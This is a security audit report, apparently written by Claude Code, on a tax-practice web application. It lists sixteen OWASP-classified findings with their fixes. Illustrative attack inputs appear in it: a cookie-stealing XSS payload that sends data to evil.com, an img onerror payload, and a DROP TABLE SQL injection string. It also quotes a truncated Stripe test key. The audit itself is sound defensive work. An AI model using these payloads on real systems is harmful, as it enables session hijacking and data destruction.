Skip to content

Security Audit Report

Date: 2024-12-27 Scope: Full security audit - OWASP Top 10, auth patterns, input validation, secrets handling Auditor: Claude Code

Executive Summary

The codebase has a solid security foundation with proper authentication, parameterized queries, and input validation. However, several issues need attention before production deployment.

Overall Security Rating: 7/10

Critical Issues: 4 (must fix before production) High Issues: 4 (should fix before production) Medium Issues: 5 (fix in V1.1) Low Issues: 3 (address when convenient)

Critical Issues

SEC-001: XSS via Template Injection

Severity: CRITICAL File: src/services/template_service.py:276-301 OWASP Category: A03:2021 - Injection

Problem: Client data (name, email, address) inserted directly into HTML templates without escaping: 

html = template.content_template
for key, value in placeholders.items():
    pattern = r"\{\{\s*" + key + r"\s*\}\}"
    html = re.sub(pattern, value, html)  # No escaping!

Attack Vector: Client name: <script>document.location='https://evil.com/steal?c='+document.cookie</script>

Impact: Session hijacking, credential theft, malware distribution via engagement letters.

Fix: Use html.escape() or Jinja2 with autoescape=True

SEC-002: dangerouslySetInnerHTML Without Sanitization

Severity: CRITICAL File: frontend/packages/ui/src/components/tour/TourOverlay.tsx:187-217 OWASP Category: A03:2021 - Injection

Problem: Three instances of dangerouslySetInnerHTML rendering content without sanitization: 

<span dangerouslySetInnerHTML={{ __html: processedLine.replace("- ", "") }} />

Attack Vector: If tour content comes from database: **<img src=x onerror="alert('XSS')">**

Impact: Arbitrary JavaScript execution in user's browser.

Fix: Use DOMPurify to sanitize or refactor to use React components instead of HTML strings.

SEC-003: Missing Security Headers

Severity: CRITICAL File: src/api/main.py (missing middleware) OWASP Category: A05:2021 - Security Misconfiguration

Problem: No security headers configured: - X-Frame-Options (clickjacking protection) - X-Content-Type-Options (MIME sniffing protection) - Content-Security-Policy (XSS mitigation) - Strict-Transport-Security (HTTPS enforcement)

Impact: Clickjacking attacks, MIME confusion attacks, reduced XSS protection.

Fix: Add security headers middleware to FastAPI app.

SEC-004: Development API Accepts Any Credentials

Severity: CRITICAL (dev-only, documented) File: scripts/local_api.py:233-273 OWASP Category: A07:2021 - Identification and Authentication Failures

Problem: Login endpoint accepts any email/password combination: 

# accepts any credentials for local dev

Impact: Complete authentication bypass if exposed.

Status: Already documented as dev-only in ARCHITECTURE.md per AUDIT-001. Acceptable for local development.

Mitigation: Ensure local_api.py never deployed to production.

High Issues

SEC-005: ORDER BY SQL Injection Risk

Severity: HIGH File: src/repositories/base_repository.py:131 OWASP Category: A03:2021 - Injection

Problem: order_by parameter accepts raw SQL strings: 

ORDER BY {order_by}

Attack Vector: If user input reaches this parameter: name; DROP TABLE client; --

Impact: Data deletion, data exfiltration, privilege escalation.

Fix: Whitelist allowed ORDER BY values.

SEC-006: CORS Overly Permissive

Severity: HIGH File: src/api/main.py:91-98 OWASP Category: A05:2021 - Security Misconfiguration

Problem: 

allow_methods=["*"],  # All HTTP methods
allow_headers=["*"],  # All headers
allow_credentials=True,  # With credentials

Impact: Cross-origin attacks from any website can make credentialed requests.

Fix: Restrict to specific methods and headers.

SEC-007: Missing Role Enforcement on List Endpoints

Severity: HIGH File: src/api/routes/clients.py:66-101 OWASP Category: A01:2021 - Broken Access Control

Problem: list_clients() requires authentication but not role-based filtering. Any authenticated user can list all clients.

Impact: Data exposure - preparers see clients they shouldn't, compromised accounts expose all client data.

Fix: Filter results by user role (staff=all, preparer=assigned only, client=own only).

SEC-008: Stripe Test Keys in Plain Text

Severity: HIGH File: .env:44-45 OWASP Category: A02:2021 - Cryptographic Failures

Problem: Real Stripe test keys stored in .env file: 

STRIPE_SECRET_KEY=sk_test_51Shvj...

Impact: Keys are exposed locally. While test keys, they should be rotated and better protected.

Fix: Rotate keys, consider AWS Secrets Manager even for development.

Medium Issues

SEC-009: No Token Revocation Mechanism

Severity: MEDIUM File: src/api/middleware/auth.py OWASP Category: A07:2021 - Identification and Authentication Failures

Problem: JWT-only authentication with no logout or token blacklist. Tokens valid until expiry even after "logout".

Impact: Stolen tokens remain valid, no way to force session termination.

Fix: Implement token blacklist (Redis) or switch to HttpOnly cookies with server-side sessions.

SEC-010: Payment Bypass Flag

Severity: MEDIUM File: src/api/routes/efiling.py:31-35, 198-290 OWASP Category: A04:2021 - Insecure Design

Problem: Staff can bypass payment requirement via bypass_payment_check=true flag.

Mitigating Factors: - Requires staff role - Logged in audit fields

Impact: Financial controls bypassed if staff account compromised.

Fix: Document compliance justification, consider additional approval workflow.

SEC-011: Search Parameter Unbounded

Severity: MEDIUM File: src/api/routes/clients.py:70 OWASP Category: A03:2021 - Injection

Problem: 

search: Optional[str] = Query(None, description="Search...")
No max_length constraint. Could enable ReDoS or resource exhaustion.

Fix: Add max_length=100 parameter.

SEC-012: Filename Not Sanitized in S3 Path

Severity: MEDIUM File: scripts/local_api.py:879 OWASP Category: A03:2021 - Injection

Problem: 

s3_key = f"{client_id}/{return_id}/{file.filename}"
Filename used directly without sanitization.

Impact: Path traversal unlikely in S3, but could cause display issues or unexpected behavior.

Fix: Use os.path.basename() or sanitize filename.

SEC-013: Request Size Limits Not Enforced

Severity: MEDIUM File: src/api/main.py, uat-package/nginx.conf OWASP Category: A05:2021 - Security Misconfiguration

Problem: No explicit request size limits configured. Relies on framework defaults.

Impact: Denial of service via large request bodies.

Fix: Add middleware limit and nginx client_max_body_size.

Low Issues

SEC-014: In-Memory Rate Limiting

Severity: LOW File: src/api/middleware/rate_limiting.py:68 OWASP Category: A05:2021 - Security Misconfiguration

Problem: Rate limiter uses in-memory storage. State lost on restart, doesn't work across multiple instances.

Impact: Rate limiting ineffective in production multi-instance deployment.

Fix: Use Redis-backed rate limiter for production.

SEC-015: Error Messages May Leak Information

Severity: LOW File: scripts/local_api.py:1513 OWASP Category: A04:2021 - Insecure Design

Problem: 

ai_response = f"I apologize, but I encountered an error: {str(e)}"
Exception details exposed to users.

Status: Acceptable for local development only.

Fix: Log full error, return generic message in production.

SEC-016: Email Query Parameter Not Validated

Severity: LOW File: src/api/routes/registration.py:252 OWASP Category: A03:2021 - Injection

Problem: 

email: str = Query(..., description="Email address to check")
Should use EmailStr validator like other endpoints.

Fix: Change to email: EmailStr = Query(...).

Positive Findings

Area Assessment
JWT Authentication Well implemented with role hierarchy
Parameterized Queries Used correctly throughout repositories
Pydantic Validation All API inputs validated with models
Password Handling No plaintext passwords in code
.gitignore Secrets files properly excluded
AWS Credentials Uses IAM roles, not hardcoded
Rate Limiting Implemented (needs Redis for prod)
Error Handler Hides stack traces from clients
RBAC Permission matrix well defined
Audit Logging Present for sensitive operations

Recommendations by Priority

Before Production (P0)

  1. SEC-001: Add HTML escaping to template service
  2. SEC-002: Add DOMPurify or remove dangerouslySetInnerHTML
  3. SEC-003: Add security headers middleware
  4. SEC-005: Whitelist ORDER BY values
  5. SEC-006: Restrict CORS configuration
  6. SEC-007: Add role-based filtering to list endpoints

V1.1 (P1)

  1. SEC-008: Rotate Stripe keys, improve secrets management
  2. SEC-009: Implement token revocation
  3. SEC-010: Document payment bypass compliance
  4. SEC-011: Add max_length to search parameter
  5. SEC-012: Sanitize filenames
  6. SEC-013: Add request size limits

Future (P2)

  1. SEC-014: Redis-backed rate limiting
  2. SEC-015: Generic error messages in production
  3. SEC-016: EmailStr validation on query param

References

  • OWASP Top 10 2021: https://owasp.org/Top10/
  • OWASP ASVS: https://owasp.org/www-project-application-security-verification-standard/
  • Related: docs/SECURITY_DESIGN.md

Audit performed by Claude Code